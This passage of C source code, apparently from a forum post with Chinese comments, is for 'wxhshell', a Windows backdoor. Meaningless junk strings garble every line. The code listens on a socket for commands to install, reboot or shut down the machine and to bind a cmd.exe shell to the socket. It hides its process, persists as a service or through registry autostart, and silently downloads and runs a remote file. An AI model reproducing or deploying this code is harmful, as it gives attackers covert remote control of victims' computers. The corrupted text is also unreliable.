    switch(cmd[0]) { )Q pP1[  
  )v$Cv|"  
  // 帮助 PezWc18  
  case '?': { c 6}xnH  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "T=3mv%S  
    break; |@n{tog+-  
  } [HZCnO|N  
  // 安装 ch2e#Jf8  
  case 'i': { (nP*  
    if(Install()) J\8l%4q3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s }R:q  
    else VRN9yn2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /dP8F  
    break; |LGNoP}SA  
    } zR/p}Wu|!  
  // 卸载 h ?qYy$  
  case 'r': { U8I~co:h  
    if(Uninstall()) aPP<W|Cmo2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2g07wJ6x  
    else Iy 8E$B;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); keq[ 6Lv  
    break; mWFZg.#?  
    } Q*J ~wuE2  
  // 显示 wxhshell 所在路径  ,IvnNnl2  
  case 'p': { B7jlJqV  
    char svExeFile[MAX_PATH]; |&pz,"(  
    strcpy(svExeFile,"\n\r"); QbKYB  
      strcat(svExeFile,ExeFile); aw@Aoq  
        send(wsh,svExeFile,strlen(svExeFile),0); 'krMVC-  
    break; an5kR_=  
    } TD=/C|  
  // 重启 })u}PQ  
  case 'b': { }oxaB9r  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ";Xbr;N  
    if(Boot(REBOOT)) ?b''  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7VZ JGRnn  
    else { u0H`%m  
    closesocket(wsh); ^~IcQ!j/5  
    ExitThread(0); E@}j}/%'O  
    } _!g NF=  
    break; <TROs!x$a  
    } WBIB'2:m  
  // 关机 H;!hp0y  
  case 'd': { f*&JfP  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Fea\ eB  
    if(Boot(SHUTDOWN)) Jn[ K0GV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c\rbLr}l)  
    else { 5pyvs;As  
    closesocket(wsh); <cOE6;d#  
    ExitThread(0); uV:uXQni``  
    } 7[<sl35  
    break; 4qXUk:C@m  
    } 8ch~UBq/  
  // 获取shell 9: |K]y  
  case 's': { $YQ&\[pDA  
    CmdShell(wsh); KX}dn:;(3  
    closesocket(wsh); ZV^J5wYE  
    ExitThread(0); xR6IXF>*  
    break; MifgRUe  
  } ={0{X9t?'j  
  // 退出 c] 0  
  case 'x': { +rw3.d  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); P FFw$\j  
    CloseIt(wsh); B148wh#r  
    break; p00Bgo  
    } |]3);^0  
  // 离开 _SW a3O#'  
  case 'q': { Br^b%12ZRS  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Llc|j&yHQ  
    closesocket(wsh); >f05+%^[  
    WSACleanup(); pXlBKJmW  
    exit(1); qtwmTT)  
    break; q5?mP6   
        } rBPxGBd4  
  } _qo1 GM&  
  } eQIi}\`  
Donf9]&U  
  // 提示信息 Ph_m'fbf  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y6DiISl  
} 9)hC,)5  
  } =w?cp}HW  
g]Ny?61  
  return; H)fo4N4ii  
} )_.H #|r  
bUB6B  
// shell模块句柄 rAdcMFW  
int CmdShell(SOCKET sock) pr89zkYw  
{ '^Np<  
STARTUPINFO si; 5|t&qUV  
ZeroMemory(&si,sizeof(si)); m D q,,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W >IKy#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ri0+nJ6  
PROCESS_INFORMATION ProcessInfo; *4VP5]!  
char cmdline[]="cmd"; mpAh'f4$*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); LMzYsXG*[  
  return 0; J(VZa_  
} AG0x)  
FMr$cKvE]W  
// 自身启动模式 P.J}\;S T  
int StartFromService(void) U}Fk%Jj  
{ 9'aR-tFun;  
typedef struct }}2hI`   
{ \$UU/\  
  DWORD ExitStatus; ;9sVWJJCw  
  DWORD PebBaseAddress; =#fvdj  
  DWORD AffinityMask; tR/ JY;jn  
  DWORD BasePriority; (_<n0  
  ULONG UniqueProcessId; e%>E| 9*u  
  ULONG InheritedFromUniqueProcessId; -e\kIK %  
}   PROCESS_BASIC_INFORMATION; ~WLsqP5Y~a  
&bx,6dX  
PROCNTQSIP NtQueryInformationProcess; _erH]E| [  
9K(b Z {  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q :|E  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h*%1Jkxu  
k_`S[  
  HANDLE             hProcess; 50`r}s}  
  PROCESS_BASIC_INFORMATION pbi; cIkLdh   
\bE~iz3b9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); svgi!=  
  if(NULL == hInst ) return 0; a]ey..m  
(dZ&Af  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jGPs!64f)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); { ,srj['RS  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); KWMH|sxO=  
h UDEjW@S  
  if (!NtQueryInformationProcess) return 0; 014!~c  
%"V,V3kw4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (U<wKk"  
  if(!hProcess) return 0; 4TV9t"Dk+c  
?yh.*,dgi  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; d|lzkY~  
?-i&6i6Y  
  CloseHandle(hProcess); pqX=l%{4ES  
A":x<9   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `R;XN-  
if(hProcess==NULL) return 0; ;[ojwcK[ZF  
\t3i9#Q  
HMODULE hMod; wEyh;ID3#  
char procName[255]; [c~zO+x  
unsigned long cbNeeded; kY&j~R[C  
:l{-UkbB  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); W=+ag<@  
E2cmT$6  
  CloseHandle(hProcess); I.x>mN -0  
<jjaqDSmz  
if(strstr(procName,"services")) return 1; // 以服务启动 K;O\Pd  
y6\#{   
  return 0; // 注册表启动 qr1^i1%\  
} 5@\<:Zmi  
dXQWT@$y!E  
// 主模块 MI 3_<[  
int StartWxhshell(LPSTR lpCmdLine) b9Nw98`  
{ w}?\Q,  
  SOCKET wsl; U6"50G~u  
BOOL val=TRUE; _1QNO#X  
  int port=0; >FO=ioNY  
  struct sockaddr_in door; Z~<V>b  
-g9f3Be  
  if(wscfg.ws_autoins) Install(); i[swOY z]X  
j\<S6%p#R  
port=atoi(lpCmdLine);  `!BUd  
q_)DY f7V}  
if(port<=0) port=wscfg.ws_port; 8[ V!e[  
qm_\#r  
  WSADATA data; }z6HxB]$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |RdSrVB  
2*N# %ZUX  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   '=xl}v  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "wc $'7M  
  door.sin_family = AF_INET; ~j_H2+!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?*HlAVDcFT  
  door.sin_port = htons(port); Oi RqqD  
BL7%MvDQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Vj1AW<  
closesocket(wsl); ?0F#\0  
return 1; mvnK)R_  
} x.aUuC,$x  
)yJjJ:re  
  if(listen(wsl,2) == INVALID_SOCKET) { l}{O  
closesocket(wsl); uxBk7E%6  
return 1; HukHZ;5  
} GZo^0U,;  
  Wxhshell(wsl); Aka`L:k  
  WSACleanup(); $J+$ 8pA  
mDhU wZH  
return 0; :Wln$L$  
=KMck=#B  
} 3)sqAs(  
9;jfg|x1[  
// 以NT服务方式启动 UqH7ec  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) LcXrD+ 1  
{ $%<gp@Gz  
DWORD   status = 0; ["z$rk  
  DWORD   specificError = 0xfffffff; a fjC~}  
x!J L9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4)?c[aC4P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 'W)x<Iey1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %rYt; 7B  
  serviceStatus.dwWin32ExitCode     = 0; Mg].#  
  serviceStatus.dwServiceSpecificExitCode = 0; iV%% VR8b  
  serviceStatus.dwCheckPoint       = 0; !eW<4jYB  
  serviceStatus.dwWaitHint       = 0; a2zo_h2R  
%(i(ZW "  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Adh CC13B  
  if (hServiceStatusHandle==0) return; /*[a>B4-q  
V6c?aZ,O  
status = GetLastError(); #RcmO **  
  if (status!=NO_ERROR) z&eJ?wb  
{ jU=)4nx  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; drH!?0Dpg  
    serviceStatus.dwCheckPoint       = 0; }I]9I _S  
    serviceStatus.dwWaitHint       = 0; ][.1b@)qV  
    serviceStatus.dwWin32ExitCode     = status; 3Xy>kG}  
    serviceStatus.dwServiceSpecificExitCode = specificError; @{j-B IRZ0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?r/7:  
    return; aw~OvnX E  
  } Z@>>ZS1Do  
U6{ RHS[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; kG{(Qi  
  serviceStatus.dwCheckPoint       = 0; kb>9;-%^JK  
  serviceStatus.dwWaitHint       = 0; *op7:o_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v / a/  
} |Q$C%7  
GYj`-t  
// 处理NT服务事件,比如:启动、停止 gpPktp2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) hPl;2r  
{ dK=BH=S2?X  
switch(fdwControl) lB,MVsn18  
{ ^b4o 0me  
case SERVICE_CONTROL_STOP: i"r=b%;;  
  serviceStatus.dwWin32ExitCode = 0; 7+ c?eH  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `ul"D%  
  serviceStatus.dwCheckPoint   = 0; E;N+B34  
  serviceStatus.dwWaitHint     = 0; 4VK5TWg  
  { G"'DoP7p9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PRs[:we~~  
  } ar{Yq  
  return; C~ >'pS6%5  
case SERVICE_CONTROL_PAUSE: SN11J+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; i+2J\.~U#G  
  break; 1 %*X,E  
case SERVICE_CONTROL_CONTINUE: 9,,1\0-T*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; OuX/BMG  
  break; j,Mp["X&  
case SERVICE_CONTROL_INTERROGATE: 7I HWj<  
  break; _ TUw0:&  
};  -"<eq0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;e-iiC]PI  
} m0:8thZN  
z\fk?Tj<ro  
// 标准应用程序主函数 ,TL~];J'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {C 7=  
{ ]RxNSr0e  
#Qkl| h  
// 获取操作系统版本 CnAhEf)b  
OsIsNt=GetOsVer(); rGoB&% pc  
GetModuleFileName(NULL,ExeFile,MAX_PATH); L/V3sSt  
EQg 6*V  
  // 从命令行安装 o#;w >-  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1W5YS +pf  
E#T'=f[r~  
  // 下载执行文件 A=BpB}b  
if(wscfg.ws_downexe) { Q&wBX%@^L  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S!rUdxO  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7/Ew(X8Fs  
} CvlAn7r,@  
tr):n@  
if(!OsIsNt) { ao 32n  
// 如果时win9x,隐藏进程并且设置为注册表启动 m^p Q55,   
HideProc(); fz<Y9h=  
StartWxhshell(lpCmdLine); _oR6^#5#  
}  =#8J9  
else NAL%qQ  
  if(StartFromService()) 5-n N8qs  
  // 以服务方式启动 @w@rW }i0  
  StartServiceCtrlDispatcher(DispatchTable); x`a@h\ n  
else <OpiD%Ctx  
  // 普通方式启动 u K 8 r  
  StartWxhshell(lpCmdLine); .2OP>:9F  
NJn~XCq  
return 0; gJ2R(YMF  
}
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只看该作者 1 发表于: 2006-10-10
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